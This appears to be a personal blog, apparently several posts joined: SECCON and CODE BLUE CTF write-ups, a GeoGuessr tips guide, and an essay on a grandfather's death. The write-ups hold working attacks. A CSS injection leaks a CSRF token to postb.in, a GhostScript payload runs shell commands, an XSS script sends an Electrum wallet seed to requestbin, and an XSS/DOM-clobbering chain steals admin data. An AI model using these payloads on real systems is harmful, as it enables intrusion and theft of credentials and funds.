今回のexploitでは、以下のようなCSSを投げつけることによって1文字ずつセッションIDを取得することができる。

input[name="csrf"][value^="e0"]{background:url(http://postb.in/b4RvhDMW?e0)}
input[name="csrf"][value^="e1"]{background:url(http://postb.in/b4RvhDMW?e1)}
input[name="csrf"][value^="e2"]{background:url(http://postb.in/b4RvhDMW?e2)}
input[name="csrf"][value^="e3"]{background:url(http://postb.in/b4RvhDMW?e3)}
input[name="csrf"][value^="e4"]{background:url(http://postb.in/b4RvhDMW?e4)}
input[name="csrf"][value^="e5"]{background:url(http://postb.in/b4RvhDMW?e5)}
input[name="csrf"][value^="e6"]{background:url(http://postb.in/b4RvhDMW?e6)}
input[name="csrf"][value^="e7"]{background:url(http://postb.in/b4RvhDMW?e7)}
input[name="csrf"][value^="e8"]{background:url(http://postb.in/b4RvhDMW?e8)}
input[name="csrf"][value^="e9"]{background:url(http://postb.in/b4RvhDMW?e9)}
input[name="csrf"][value^="ea"]{background:url(http://postb.in/b4RvhDMW?ea)}
input[name="csrf"][value^="eb"]{background:url(http://postb.in/b4RvhDMW?eb)}
input[name="csrf"][value^="ec"]{background:url(http://postb.in/b4RvhDMW?ec)}
input[name="csrf"][value^="ed"]{background:url(http://postb.in/b4RvhDMW?ed)}
input[name="csrf"][value^="ee"]{background:url(http://postb.in/b4RvhDMW?ee)}
input[name="csrf"][value^="ef"]{background:url(http://postb.in/b4RvhDMW?ef)}

取得したセッションIDをCookieにセットしてアクセスすると、Upload image ページにアクセスすることができる。

アクセスした先のページでは、JPGをアップロードするとGIFに変換することができる。ファイルをアップロードしたときのエラーメッセージから、ImageMagickのconvertコマンドを使っていることが推測できた。

Error: /invalidaccess in --.putdeviceprops--
(省略)
Current allocation mode is local
Current file position is 514
GPL Ghostscript 9.07: Unrecoverable error, exit code 1
convert: Postscript delegate failed `/var/www/html/images/10c125762d9f1a2c442a41291fbddf3e.jpg': No such file or directory @ error/ps.c/ReadPSImage/832.
convert: no images defined `/var/www/html/images/10c125762d9f1a2c442a41291fbddf3e.gif' @ error/convert.c/ConvertImageCommand/3046.

ImageMagickの変換コマンドでは、GhostScriptを用いることでサーバーで任意コマンドを実行することができる (1ヶ月前の Tokyo Westerns CTF でも出題されたばかり)。しかし今回は上の通りこの手法だとアクセスが弾かれてしまう。

しばらく悩んでいたところ、liesegangがGhostScriptの脆弱性を発見してくれた (実は上のWriteupからもリンクが引かれている)。

news.mynavi.jp

この脆弱性のexploitを見てみると、まさしくJPGからGIFに変換するときの攻撃例が示されていたので、ビンゴと確信。無事任意コマンド実行に繋げて、lsコマンドを発行してFLAGの場所を特定した。

最終的な攻撃コードは以下の通り。

$ cat temp.jpg
%!PS
userdict /setpagedevice undef
legal
{ null restore } stopped { pop } if
legal
mark /OutputFile (%pipe%ls /var/www/html/FLAG) currentdevice putdeviceprops

フラグのURL http://ghostkingdom.pwn.seccon.jp/FLAG/FLAGflagF1A8.txt が得られ、フラグは SECCON{CSSinjection+GhostScript/ImageMagickRCE}

Needle in a haystack (Media, 319pts)

SECCON2016の手旗信号の再来。

www.youtube.com

大坂の街を撮影した9時間の定点観測映像が与えられる。なんじゃこりゃ。

とりあえず問題名が Needle in a haystack ということで、膨大なフレームの中にフラグが記されたフレームが混じってるのではないかと推測し、異常検知の手法をいろいろと試すが成果は得られず。最終的に動画中の全てのキーフレーム約6000枚を抽出し、マンパワーで全てを確認した。

が、異常なフレームは確認できず、行き詰まっていたところ、画面右下のビルの一室がやたらチカチカと明滅を繰り返していることに気づく。

www.youtube.com

f:id:hakatashi:20181028200310j:plain

一晩のうちに何十回も点灯と消灯を繰り返している。怪しい。

早送りして確認すると、明らかにモールス信号を発信している。そして途中で夜が明けると部屋の電気ではなくカーテンを開け閉めし始める。やばい。

daiが自動化で頑張ってくれたが、人間の手で復号化したほうが早かった。トランスクリプトは以下の通り。

... . -.-. -.-. --- -. -.--. ... --- -- . - .. -- . ... -....- .- -....- ... . -.-. .-. . - -....- -- ... ... . -.-. -.-. --- -. -.--. ... --- -- . - .. -- . ... -....- ... ... .- --. . -....- -... .-. --- .- -.. -.-. .- ... - ... -....- -.... --- .-.. -.. .-.. -.-- -.--.

復号すると以下のようになる。

SECCON(SOMETIMES-A-SECRET-MSSAGE-BROADCASTS-6OLDLY(

明らかに読み取りを間違えている部分を修正し、以下でaccept。

SECCON(SOMETIMES-A-SECRET-MESSAGE-BROADCASTS-BOLDLY)

QRChecker (QR, 222pts)

なーにがジャンル: QRじゃ~~

以下のソースコードで動くウェブサイトが与えられる。

#!/usr/bin/env python3
import sys, io, cgi, os
from PIL import Image
import zbarlight
print("Content-Type: text/html")
print("")
codes = set()
sizes = [500, 250, 100, 50]
print('<html><body>')
print('<form action="' + os.path.basename(__file__) + '" method="post" enctype="multipart/form-data">')
print('<input type="file" name="uploadFile"/>')
print('<input type="submit" value="submit"/>')
print('</form>')
print('<pre>')
try:
    form = cgi.FieldStorage()
    data = form["uploadFile"].file.read(1024 * 256)
    image= Image.open(io.BytesIO(data))
    for sz in sizes:
        image = image.resize((sz, sz))
        result= zbarlight.scan_codes('qrcode', image)
        if result == None:
            break
        if 1 < len(result):
            break
        codes.add(result[0])
    for c in sorted(list(codes)):
        print(c.decode())
    if 1 < len(codes):
        print("SECCON{" + open("flag").read().rstrip() + "}")
except:
    pass
print('</pre>')
print('</body></html>')

読むと、アップロードされた画像を順に 500px, 250px, 100px, 50px に縮小し、QRコードとして読み取って、前と異なるテキストとして読み取らせたらフラグが降ってくるという仕様のようである。1枚の画像に2つ以上のQRコードが検出されると読み取ってくれない。

Pillowの画像縮小の仕組みを利用し、以下のような画像を生成した。

f:id:hakatashi:20181028201138p:plain

真ん中のQRコードが「hoge」、ドットに分割されてる右下のQRコードが「fuga」である。無事accept。

SECCON{50d7bc7542b5837a7c5b94cf2446b848}

Electrum Kamuy (Crypto, 455pts)

Cryptoとはいったい⋯⋯? 明らかにWeb問である。

Electrum Kamuy なるウェブサイトが与えられる。「タトゥー」や「のっぺらぼう」など、明らかにゴールデンカムイが意識されているが本題とは関係ない。

「このウェブサイトに隠された24個のキーワード」を収集するとフラグが手に入るという触れ書き。ページのソースコードを見ると実際にいくつかのキーワードがコメントアウトで記されていることがわかる。bitcoinの文脈から、「24個のキーワード」というのはBitcoinmnemonic words のことではないかと推測。

ここからウェブサイトをひたすら調査してキーワードがないか探したが、最初のいくつかのキーワード以外は全く見つからない。ウェブサイトはWordPressで構築されているが主要なページ以外はすべてアクセスが弾かれるため、exploitになりそうなところも全く見当たらない。これで8時間ほど時間を溶かした。

で、ウェブサイトの記述によると、このウェブサイトの所有者は「Electrumによるbitcoinウォレットを持っており」、「今年1月からソフトウェアのアップデートをしておらず」「持っているPCにパスワードをかけていない」ということが暗に示されている。ちなみにこの所有者のPCというのはウェブサイトのサーバーとは別のマシンである。

で、satosに相談したところ、2018年1月に公開されたElectrumの重大な脆弱性を見つけてくれた。この脆弱性は、Electrumのウォレットに「パスワード保護をしていない場合」、JSONRPC API が使い放題になるという途方もない脆弱性らしい。

これが想定解だと確信、その後ウェブサイトのフォームから </textarea> でHTMLをインジェクションできることを確認し、インジェクトしたURLを踏ませることによってサーバーからアクセスが飛んでくることを確認した。

が、このアドレスにアクセスしてもElectrumのAPIにはアクセスできない。ローカルから攻撃させる必要があることに思い至り、exploitコードをフォームから送信することにした。攻撃コードは以下の通り。

</textarea><script>
const post = async ({url, headers, body, timeout}) => {
  return new Promise((resolve, reject) => {
    const xhr = new XMLHttpRequest();
    xhr.open('POST', url);
    xhr.timeout = timeout;
    xhr.onload = () => {
      if (xhr.status >= 200 && xhr.status < 300) {
        resolve(xhr.responseText);
      } else {
        reject({
          status: xhr.status,
          statusText: xhr.statusText
        });
      }
    };
    xhr.onerror = () => {
      reject({
        status: xhr.status,
        statusText: xhr.statusText
      });
    };
    xhr.ontimeout = () => {
      reject({
        status: xhr.status,
        statusText: xhr.statusText
      });
    };
    Object.keys(headers).forEach(key => {
      xhr.setRequestHeader(key, headers[key]);
    });
    xhr.send(body);
  });
};


post({
    url: `http://localhost:51337`,
    headers: {
      'accept': 'application/json-rpc',
      'content-type': 'application/json-rpc'
    },
    body: JSON.stringify({
      id: 1,
      method: 'getseed',
      params: {}
    }),
    timeout: 1000
  }).then((responseText) => {
    fetch("http://requestbin.fullcontact.com/16fs9mg1/" + responseText)
  });
</script><textarea>

ここから、Electrumのシード値が取得できる。

??? wealth bread squirrel sort urban paddle panic company material butter tilt city hobby seven sample caution ivory cup because piece crime mixture artwork

最初のキーワードが伏せられているが、問題の説明からシードのエントロピーの最初の数文字がわかっているので、2048通りを全探索することによって元のキーワードを復元できる。すでにmnemonicを解いていたlip_of_cygnusが一瞬で解いてくれた。

SECCON{2e36c3919822de3223e55efd8425f055}

総評

GhostKingdomは今大会では比較的良問だが、悪問要素も多い。

  • スクリーンショットを撮るという行為にあまり必然性がない (Upload image がリンクになっていることが確認できる程度)
  • セッションIDとcsrfトークンの一致に気づかないといけない
  • セッションIDの挙動 (一度でもローカルからのアクセスがあるとフラグが立つ?) をエスパーしないといけない
  • 問題の前半と後半に全く関連性がない
  • GhostScript部分は公開されているexploitをそのまま流用すれば一瞬で解けてしまう

Needle in a haystack は、発想は面白いがやはり理不尽な気づきを要求されるという点が微妙 (手旗信号はそういう意味ではやることは自明だったので)。問題名のミスリーディングもやめてほしい。あとYouTubeから数GBもダウンロードしないといけないのは如何なるものか (せめてSECCONでホストしたほうがいいと思われる)。

QRChecker、ツッコミどころというほどのツッコミどころはない。発想が面白いし、回答に至るまでのプロセスが複数ありうるところも含めていい問題ではないかと思う。

Electrum Kamuy、誘導がやや不十分。「このサイトに隠された」というメッセージや無駄に複雑なウェブサイトによるミスリーディングが悪質。Cryptoとはいったい。

pwnやrevは良問が多かったらしい (専門外なので伝聞) が、それ以外はとても近年のCTF大会の平均的水準を満たしてるとは言い難い。ちなみにここでは解説しないが、tctlToyは特に近年稀に見るレベルの💩💩💩だった (daiさんがwriteupを書いてくれるはず)。

【追記】書いてくれました

GeoGuessrで勝つためのメモ (世界編)

最近、自分の周りでGeoGuessrが久しぶりに流行っています。勝つためのTipsをいろいろと調べた (勝てているとは言っていない) ので、いくつか残しておきます。

なお博多市は地誌学・社会学言語学・気象学・生態学の素人なので、おかしな点が多々ありますがご了承ください。

Googleストリートビューのカバー範囲

いかにGoogleといえど流石に世界のすべての地域をカバーしているわけではないので、必然的に絶対に出題されない地域というのが存在します。

下の画像は、2018年8月現在のGoogleストリートビューのカバー範囲です。

f:id:hakatashi:20180818210631p:plain

アフリカ・中東・中国の農村部は大部分がカバー範囲外ということがわかります。これらの地域がGeoGuessrで出題されることはほとんどありえないので、これらの場所にピンを立てるのは良い戦略ではありません。

f:id:hakatashi:20180819034123p:plain

また、ドイツとオーストリアではプライバシー保護法の規制によりストリートビューが公開されていません。よってGeoGuessrでドイツ語を見つけたら高確率でスイスです。

ちなみに一昔前はインドや東南アジアなどの地域がほとんどカバーされていなかったのですが、Googleの努力により現在はほぼ全域がカバーされています。

右側通行と左側通行

GeoGuessrはストリートビューを用いたゲームなので、道路が右側通行か左側通行かというのは大きな手がかりになります。世界的には右側通行が主流ですが、日本を始めとする多くの主要な国が左側通行を採用しているため、右と左の出現割合は2:1程度に感じます。特に似たような風景が多いオーストラリアとアメリカを区別できるのは大きいです。

File:Countries driving on the left or right.svg by Benjamin D. Esham

左側通行を採用している国のうち、主要なものは以下のとおりです。

言語

ドイツ語

もう雰囲気が完全にドイツ語って感じです。声に出して読んだ時に中二病っぽかったらドイツ語。

あと、ウムラウトのついた Ä, Ö, Ü を多用します。

f:id:hakatashi:20180819034913p:plain

フランス語、スペイン語、イタリア語

この3つの言語は見た目がよく似ています。頻出単語を3つくらい覚えておきましょう。こんな感じ。

英語 フランス語 スペイン語 イタリア語
and et y e
is es est è
of de de di

冠詞類は出現頻度は高いのですが、種類が多いので意外と区別できません。

  • フランス語: le, la, les, l’
  • スペイン語: el, los, la, las
  • イタリア語: il, i, lo, gli, l', la, le

オランダ語

ドイツ語と似ていますが、“ij”の2字が頻繁に連接します。

f:id:hakatashi:20180819033058p:plain

アフリカーンス語

南アフリカ共和国公用語です。オランダ語と似ていますが“ij”の代わりに“y”と表記します。

f:id:hakatashi:20180819145616p:plain

ポルトガル語

ポルトガルではなくブラジルで主に使われているポルトガル語は、スペイン語と酷似していることで有名です。

ポルトガル語スペイン語よりもアルファベットが多く、特にスペイン語にないÃやÇが多用されます。特にÃ (チルダ付きのA) はポルトガル語に特徴的な文字なので、見つけたら高確率でブラジルです。

f:id:hakatashi:20180819030504p:plain

フィンランド語、スウェーデン語、ノルウェー語、デンマーク

スカンジナビア系に特徴的なÅの文字を見つけたらこれらの北欧系の言語のどれかです。

これらの言語は体系がほぼ同じなので区別するのは非常に難しいですが、見分けるポイントとして、ÄもしくはÖが見つかればフィンランド語かスウェーデン語、ÆもしくはØが見つかればノルウェー語かデンマーク語です。

このうち、フィンランド語とスウェーデン語は慣れるとすぐに区別がつくようになります。やたらと単語が長く、同じ母音が連続して出現するのがフィンランド語、そうでないのがスウェーデン語です。下の画像はフィンランド語。

f:id:hakatashi:20180819152521p:plain

ノルウェー語とデンマーク語の区別を実用的なレベルで身につけるのは、たぶん非常に難しいですが、いちおう以下のようなサイトが参考になります。

ロシア語、ウクライナ語、モンゴル語

キリル文字が使われているからと言ってロシア語とは限りません。ストリートビューのカバー範囲内では、ウクライナやモンゴルなども候補に挙がります。これらを区別できるとぐっと勝率が上がります。

これらの言語では使用される文字が違います。Ґ, Ї, Є の3文字はウクライナ語固有の文字、Ө, Ү はモンゴル語固有の文字、Ы, Ё はロシア語固有の文字です。

TODO: 追記する

植生

植生から地域を読み解くのはだいぶ厳しいですが、たまに役立ちます。特にアメリカは西部・中部・東部で気候が全く違うので雰囲気も結構違います。

植生による世界の気候区分は以下の通り。

f:id:hakatashi:20180819021406p:plain

Map of Biome Locations in the World - Temperate Deciduous Forest

とくに景観から判断しやすいのはこのあたりです。

落葉樹林

f:id:hakatashi:20180818220618p:plain

ポーランド キェルツェ

針葉樹林

f:id:hakatashi:20180818220945p:plain

カナダ ヨーホー国立公園

ステップ

f:id:hakatashi:20180818222033p:plain

アメリカ ダイナソー国定公園

熱帯林

f:id:hakatashi:20180818224227p:plain

ブラジル マナウス

サバンナ

f:id:hakatashi:20180819020718p:plain

南アフリカ共和国 クリスティアナ

針葉樹林のほうが落葉樹林より緯度が高いことだけでも覚えておくとよいと思います。

ヤードポンド法

ご存知の通り、ヤードポンド法を採用しているのは世界でアメリカのみです。運良くマイル表記の看板を見つけたらアメリカとカナダの区別が付きます。

f:id:hakatashi:20180819023319p:plain

アメリカ アイオワ州

f:id:hakatashi:20180819023825p:plain

アメリカ ノースダコタ州

このタイプの看板で単位が書いてないやつはだいたい MPH (=Mile Per Hour) です。

CODEBLUE CTF 2018 Quals - Scrap Square v1.0 & v1.1 Writeup

Scrap Square v1.0 - Web

Kamogawa created an application to record memo and he stored a secret memo.
He showed it to Katsuragawa and he learned CSP is cool.
If you find a issue, please report it.

URL: http://v10.scsq.task.ctf.codeblue.jp:3000/
Admin browser: Chromium 69.0.3494.0
Source code: src-v1.0.zip
Admin browser: admin.zip

A simple scrap storage service is given with complete source code.

f:id:hakatashi:20180801064023p:plain

f:id:hakatashi:20180801064101p:plain

Step 1: XSS and injection of unused JS file

From description the flag is admin's scrap and obviously the "Report this scrap" feature and XSS is the key. CSP is the following.

default-src 'none';
script-src 'self' https://stackpath.bootstrapcdn.com/bootstrap/4.1.1/js/bootstrap.min.js https://code.jquery.com/jquery-3.3.1.min.js http://www.google.com/recaptcha/api.js https://www.gstatic.com/recaptcha/;
style-src 'self' https://stackpath.bootstrapcdn.com/bootstrap/4.1.1/css/bootstrap.min.css;
img-src 'self';
frame-src https://www.google.com/recaptcha/;
connect-src 'self'

So inline script etc won't work at all and we should load valid js file from the same origin. Fortunately, mysterious JS file is found in the source soon.

// app/static/javascripts/periodically-watch-scrap-body-and-report-scrap-automatically-with-banword.js
const timer = setInterval(() => {
  if ($('.scrap-body').length === 0) {
    return;
  }

  clearInterval(timer)
  if ($('.scrap-body').text().includes(window.banword || '')) {
    reportScrap()
  }
}, 300)

This file is not loaded into the application. Fortunately, easy XSS can be found in username.

// app/views/scrap.pug
extends layout.pug

block content
  div.scrap-wrapper
    p!= `${user.name}'s scraps'`

Pug's != operator embeds string dangerously, and can be easily pissed off. Then we can inject the following code into HTML.

<script src="/static/javascripts/periodically-watch-scrap-body-and-report-scrap-automatically-with-banword.js"></script>

Step 2: Inject arbitrary script

We wondered how scrap body is served. After searching code we can find following code.

// app/src/index.js:102
  const staticBaseUri = '/static'
  const staticDir = path.join(__dirname, '..', 'static')
  const rawStaticDir = path.join(staticDir, 'raw')
  app.use(staticBaseUri, express.static(staticDir))

express.static() serves files statically. This is the feature of express.js and it recognizes file extension. In this case, scrap title is directly used as filename, so we can name scrap "foobar.js" and it is immediately served as Content-Type: text/javascript.

Now we can upload arbitrary file as script and inject it with username XSS.

<script src="/scraps/raw/<USERID>/foobar.js"></script>

But the limitation is so tense. Body shouldn't match /[^0-9a-zA-Z '.\n\r/-]/ and that's the limitation of our injection script.

Step 3: Hack into the URL parser

Now we can make admin report some scraps to somewhere. The reported scrap is loaded here.

// app/static/javascripts/load-scrap.js
const urls = location.href.split('/')
const user = urls[urls.length - 2]
const title = urls[urls.length - 1]

// show title
const scrapTitle = $('<h1 class="scrap-title">')
scrapTitle.text(title)
$('.scrap-header').append(scrapTitle)

// show body
$.get(`/static/raw/${user}/${title}`)
  .then(c => {
    const scrapBody = $('<pre class="scrap-body">')
    scrapBody.text(c)
    $('.scrap-wrapper').append(scrapBody)
  })

location.href.split seems very dumb, and can be hacked by the following URL.

# Script loads `/scraps/raw/AAAAAAAA/AAAA`, not `/scraps/raw/aaaaaaaa/aaaa`
https://http://v10.scsq.task.ctf.codeblue.jp:3000/scraps/aaaaaaaa/aaaa?x/AAAAAAAA/AAAA

And more significantly, replacing it with .. can load root URL, which includes list of user's scraps.

# Script loads `/scraps/raw/../..` = `/`, not `/scraps/raw/aaaaaaaa/aaaa`
https://http://v10.scsq.task.ctf.codeblue.jp:3000/scraps/aaaaaaaa/aaaa?x/../..

Step 4: Deletion of global variable

Then we can load admin's scrap list and call reportScrap() after them. reportScrap() is called here.

// app/static/javascripts/report-scrap.js
  if ($('.scrap-body').text().includes(window.banword || '')) {
    reportScrap()
  }

window.banword is defined as window.banword = 'give me flag' in config.js. So, that string should be included in target to report that, but seems no chance.

After straggling, we could reset it with following inject code.

delete window.banword

Then the report should be go through unconditionally.

Step 5: Pollution of global variable with form tag

Finally, reportScrap() is defined as follows.

// app/static/javascripts/report-scrap.js
window.reportScrap = (captcha) => {
  return $.post('/report', {
    to: window.admin.id,
    url: location.href,
    'g-recaptcha-response': captcha,
    title: $('.scrap-title').text(),
    body: $('.scrap-body').text()
  })
}

If we override window.admin.id, the report is directed toward us and we can view the content of the report, which happily includes scrap's body.

And id is the key. We can overwrite window.admin by the following HTML.

<form id="<USERID>" name="admin"></form>

This HTML defines window.admin as that form tag, and admin.id points to its id attribute, which equals to <USERID>.

Then we can change the direction of report submission which includes list of admin's scraps. Final hacking procedure is the following.

  1. Register on service, and upload following scrap with title a.js

    delete window.banword delete window.admin

  2. Register another user with the following username ( is the previous user id)

    <script src="/static/raw/<USERID>/a.js"></script><script src="/static/javascripts/periodically-watch-scrap-body-and-report-scrap-automatically-with-banword.js"></script><form id="<USERID>" name="admin"></form>

  3. Upload some scrap, and add strange query string to that URL.

    http://v10.scsq.task.ctf.codeblue.jp:3000/scraps/<USERID2>/foobar?a/../..

  4. Report that page to the admin

  5. Go back to the previous user, and visit /reports endpoint

  6. Report from admin is posted and that includes list of admin's scrap

  7. Content of that scrap is the flag: CBCTF{k475ur464w4-15_4-n4m3-0f_R1v3r}

Our team was the first that solved. Finally got 389pt with 9 teams solved.

Scrap Square v1.1 - Web

Kamogawa noticed that if the username is too long, it stuck out from the screen in Scrap Square v1.0.
For this reason, he restricted the length of the username more strictly.
- if (req.body.name.length > 300) {
- errors.push('Username should be less than 300')
+ if (req.body.name.length > 80) {
+ errors.push('Username should be less than 80')
URL: http://v11.scsq.task.ctf.codeblue.jp:3000/
Admin browser: Chromium 69.0.3494.0
Source code: src-v1.1.zip
Admin browser (not changed from v1.0): admin.zip

After solving Scrap Square v1.0, the chal v1.1 was revealed immediately. Only two lines of code was updated, which tighten the length limit of XSS injection code.

Step 1: Code golf

Obviously the previous attack code (209 chars) won't work. But we can golf it in some ways.

  1. Trim quotes and whitespaces
  2. Use ES module to load periodically-**.js script. That costs type=module in attack code but the long file name can be included in a.js.
  3. Reorder tags and omit closing tags

Then the final attack code was the following (just 80 chars).

<img id=ls4w00fp name=admin><script type=module src=/static/raw/ls4w00fp/a.js>/*

Then repeat the previous procedure to get the flag: CBCTF{k4m064w4_d1d-n07-kn0w_7h3r3-4r3_x55}

Our team was the first that solved. Finally got 462pt with 3 teams solved.

Timeline

Many part of the credit goes to my team members. The following timeline describes actions executed to solve this challenge and member who contributed it.

  • 20:00 Scrap Square v1.0 revealed
  • 21:02 @hakatashi found the strange restriction of scrap title naming, especially the usage of .
    • This led me to the suspection of the existence of any directory traversal, but that totally missed the point.
  • 21:36 @hakatashi found title name of scrap can control Content-Type of raw scrap body, because of express.static() behavior
  • 21:40 @lmt_swallow found import '/foobar.js' is useful for loading another JS files
  • 22:09 @kcz146 found XSS in username
  • 22:30 @kcz146 conceived the possibility of illegal scrap body submission by the combination of periodically-**.js and global variable pollution
  • 22:48 @hakatashi found dumb URL parsing in load-scrap.js and hack with query string
  • 22:49 @kcz146 immediately conceived the clever hack with ?/../..
    • After this we stuck at global variable pollution. We all think of pollution by ES module import, but that missed the point.
  • 23:12 @kurgm conceived the idea of global variable pollution by <form id="foobar">
  • 23:30 @kurgm conceived the idea of global variable override by delete window.admin
  • 23:45 @hakatashi solved chal and submitted flag
  • 23:50 Scrap Square v1.1 revealed
    • For us, the application of ES module is very natural and we golfed for a while... and that is not so difficult (We all are golfing expert😂)
  • 00:30 Hacking code beat the 80 chars limit
  • 00:34 @lmt_swallow solved chal and submitted flag

My thoughts

That was brilliant challenge😆. So difficult, but I enjoyed the combination of XSS, extension hack, and global pollution etc. Many thanks to the editor @tyage.

As for v1.1, I feel the chal was not so much of v1.0 and just a golfing matter. But still nice with requirements of deep knowledge of modern javascript. Thanks!

祖父が他界しました

2018年1月7日、父方の祖父が他界した。すでに4ヶ月以上前の話である。

詳細は聞かされていないが、僕が物心ついたときから老病を患っていた祖父は、長らく自宅で投薬治療を続けていた。とはいえ病人のようなていではなく、むしろ帰省するたびに僕らに快活で剽軽な姿を見せる祖父は、ぷっくりとした姿も相まってまるで布袋さんのような存在だった。1月6日夜、祖父は自宅で突然の心臓発作を起こして卒倒、救急搬送されたがまもなく死亡が確認され、まさにピンピンコロリで逝ってしまった。

その2日前まで、僕と家族は正月の帰省で祖父の家に逗留していた。居間で僕らと談笑し、一緒にテレビを見て笑い、手製のきんぴらごぼうを振る舞う祖父の姿は、いつも盆と正月に顔を合わせる朗らかな祖父の姿そのものだったし、間違っても死神に憑かれた老人の姿ではなかった。祖父の訃報を受けて僕らは千葉から新幹線でとんぼ返りをし、つい2日前に後にしたばかりの居間で眠る祖父の体に手を合わせた。死に水を取り、納棺し、葬儀に参列し、骨を拾い、そのまま涙を拭いて帰った。あれから4ヶ月、僕と周囲の日常は表向き何も変わらず動き続けている。

一方で、僕自身の生き方は取り返しの付かないほど変わってしまった。

以前の記事にも記したとおり、僕は昨年の9月に祖母を見送ったばかりだった。昨年逝った祖母は母方なので、もちろんこれらは無関係である。しかし、不幸は続くもの――という安易な言葉では慰めにはならないほど、肉親が立て続けに逝ったことは僕の精神に深い暗雲をもたらした。

法要のため加古に滞在している間、それがどういう心境によるものかは未だによくわからないが、僕は愛読書であるアンナ・カヴァンの『氷』を読み続けていた。それは単に愛読書が隣にあることで安心感を覚えたかったのかもしれないし、霊前に臨む前に少しでも悲しい気分に浸りたかったのかもしれないし、単に機会を見て名著を再読したかっただけかもしれない。どうせ自分の行動に理由をつけられることなんて多くないのだから、そこは特に気にしない。とにかく僕は、何度目かは忘れたが2日間で『氷』を読破し、増え続ける一方の自室の本棚に差し戻した。

物語の中で幾度となく殺され、侵され、壊される白い少女は、きっと本来の意味での純粋な「死」のイメージではないのかもしれない。しかし、迫り来る氷と飲まれゆく大地のイメージは、僕にとっての現実と妄想の境を曖昧にし、不連続なはずの生死の境界を超えて手を伸ばし、死を見つめる視線を悪い意味で変容させ、深淵を覗き込むことの恐怖を僕に与えた。都会に帰ってからの僕の日々は、典型的なタナトフォビアの様相を呈した。

10秒後に死ぬかもしれないことを考えて眠れない夜が増えた。

ホームドアのない駅の乗降場に立つことが怖くなった。

フィクションでも誰かが死ぬことに過剰に怯えるようになった。

死ぬことを知って、また生きるのが難しくなった。僕は未だにこの根源的なトラウマの中に囚われている。だけど。

奈落の底を知らなかった日々には、数十年後に訪れるであろう死をぼんやりと思いながら安楽に過ごしていた毎日には、戻りたいと思っても決して戻れないから。

戻れるとしても戻りたくはないから。

記憶は魂そのものだから、記憶を刻んで1つ弱くなった僕も間違いなく僕だから、今、自分が自分であることは絶対に否定したくはない。

それは今の僕が忌避する「死」そのものだから。

だから。神様を呪って、今畜生と唾吐いて、それでもこの星の下で人生を謳歌してやろうと思った。

君はどこに落ちたい? どうせ墜落するのが定めなら、僕は大気圏に落下して燃えて燃え尽きて誰かの願いを叶える流星になって朽ちたい。そして。

そして、僕は今日もまた生き損じている。

つよくなりたい。